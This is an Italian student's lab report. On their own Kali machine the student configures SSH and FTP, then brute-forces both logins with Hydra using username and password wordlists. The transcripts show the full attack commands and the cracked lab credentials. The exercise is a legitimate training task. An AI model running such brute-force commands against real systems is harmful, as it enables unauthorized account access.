


# ESERCITAZIONE S6L4

IANNONE LUCA

## TRACCIA



Più | Esc | per uscire dalla modalità a schermo intero

Esercizio  
Traccia

**Traccia:**

Si ricordi che la configurazione dei servizi costituisce essa stessa una parte integrante dell'esercizio.

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

3

## SVOLGIMENTO

### CREAZIONE DI UN NUOVO UTENTE (test\_user) con PASSWORD (testpass)

```
kali@kali: ~  
File Actions Edit View Help  
└─$ adduser test_user  
fatal: Only root may add a user or group to the system.  
  
(kali@kali)-[~]  
└─$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...  
  
(kali@kali)-[~]  
└─$
```

### Attivazione ssh

```
s-10 info: Adding user `test_user' to group `users' ...  
  
(kali@kali)-[~]  
└─$ sudo service ssh start  
  
(kali@kali)-[~]  
└─$
```

## FILE DI CONFIGURAZIONE DI SERVIZIO SULLA PORTA

/Etc/ssh/ssh\_config

```
kali@kali: ~  
File Actions Edit View Help  
GNU nano 7.2 /etc/ssh/ssh_config  
# This is the ssh client system-wide configuration file. See  
# ssh_config(5) for more information. This file provides defaults for  
# users, and the values can be changed in per-user configuration files  
# or on the command line.  
  
# Configuration data is parsed as follows:  
# 1. command line options  
# 2. user-specific file  
# 3. system-wide file  
# Any configuration value is only changed the first time it is set.  
# Thus, host-specific definitions should be at the beginning of the  
# configuration file, and defaults at the end.  
  
# Site-wide defaults for some commonly used options. For a comprehensive  
# list of available options, their meanings and defaults, please see the  
# ssh_config(5) man page.  
  
Include /etc/ssh/ssh_config.d/*.conf  
  
Host *  
# ForwardAgent no  
# ForwardX11 no  
  
[ Read 53 lines ]  
^G Help      ^O Write Out  ^W Where Is   ^K Cut        ^T Execute  
^X Exit      ^R Read File  ^_ Replace    ^U Paste      ^J Justify
```

## CREAZIONE FINITA DELLA CRAZIONE SSH

```
test_user@kali: ~  
File Actions Edit View Help  
$ ssh test_user@ip_kali  
test_user@ip_kali's password:  
  
(kali@kali)-[~]  
$ ssh test_user@127.0.0.1  
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.  
ED25519 key fingerprint is SHA256:irGROEqdYfeWIJZ1gv4xG56GTDrevCLi0UNHeWAHn08  
.  
This host key is known by the following other names/addresses:  
  ~/.ssh/known_hosts:1: [hashed name]  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.  
test_user@127.0.0.1's password:  
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08)  
x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Thu Feb 29 08:57:18 2024 from 127.0.0.1  
(test_user@kali)-[~]  
$
```

## ATTACCO CON HYDRA

### ATTACCO HYDRA CON SINGOLO USERNAME E SINGOLA PASSWORD

```
File Actions Edit View Help
permitted by applicable law.
Last login: Thu Feb 29 08:57:18 2024 from 127.0.0.1
(test_user@kali)-[~]
$ ^C

(test_user@kali)-[~]
$ exit
logout
Connection to 127.0.0.1 closed.

(kali@kali)-[~]
$ hydra -l username -p password 127.0.0.1 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:
06:21
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try
per task
[DATA] attacking ssh://127.0.0.1:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:
06:25

(kali@kali)-[~]
$
```

```
File Actions Edit View Help
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.t
xt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:
49:50
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
waiting)) from a previous session found, to prevent overwriting, ./hydra.res
tore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 110 login tries (l:10/p:11)
, ~28 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 75.00 tries/min, 75 tries in 00:01h, 35 to do in 00:01h, 4 active
[22][ssh] host: 192.168.50.100 login: kali password: kali
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:
51:29

(root@kali)-[/home/kali]
#
```

COME POSSIAMO VEDERE ABBIAMO TROVATO DUE USER NAME E DUE PASSWORD RELATIVE AL SERVIZIO SSH

## ESERCIZIO FASE 2

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ sudo apt-get install vsftpd  
[sudo] password for kali:  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
The following packages were automatically installed and are no longer require  
d:  
  cython3 debtags kali-debtags libhiredis0.14 libjavascriptcoregtk-4.0-18  
  libperl5.36 libqt5multimedia5 libqt5multimedia5-plugins  
  libqt5multimediagsttools5 libqt5multimediawidgets5 librtlsdr0 libuc11  
  libwebkit2gtk-4.0-37 libzxing2 perl-modules-5.36 python3-backcall  
  python3-debian python3-future python3-pickleshare  
  python3-requests-toolbelt python3-rfc3986 python3-unicodcsv  
Use 'sudo apt autoremove' to remove them.  
The following NEW packages will be installed:  
  vsftpd  
0 upgraded, 1 newly installed, 0 to remove and 18 not upgraded.  
Need to get 143 kB of archives.  
After this operation, 353 kB of additional disk space will be used.  
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13  
+b3 [143 kB]  
Fetched 143 kB in 1s (242 kB/s)  
Preconfiguring packages ...  
Selecting previously unselected package vsftpd.  
(Reading database ... 423215 files and directories currently installed.)  
/home/kali  
/home/kali/Desktop/username.txt -P /home/kali/Desktop/password.t
```

```
File Actions Edit View Help  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:  
42:40  
[ERROR] Unknown service: vsftpd  
  
(kali@kali)-[~]  
$ sudo hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/passw  
ord.txt 192.168.50.100 -t4 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in  
military or secret service organizations, or for illegal purposes (this is n  
on-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:  
43:13  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip  
waiting)) from a previous session found, to prevent overwriting, ./hydra.res  
tore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 81 login tries (l:9/p:9), ~  
21 tries per task  
[DATA] attacking ftp://192.168.50.100:21/  
[21][ftp] host: 192.168.50.100 login: kali password: kali  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 09:  
44:13  
  
(kali@kali)-[~]  
$
```

ABBIAMO HACKERATO LA PASSWORD DEL SERVIZIO FTP

TROVANDO NOME UTENTE: KALI

PASSWORD:KALI

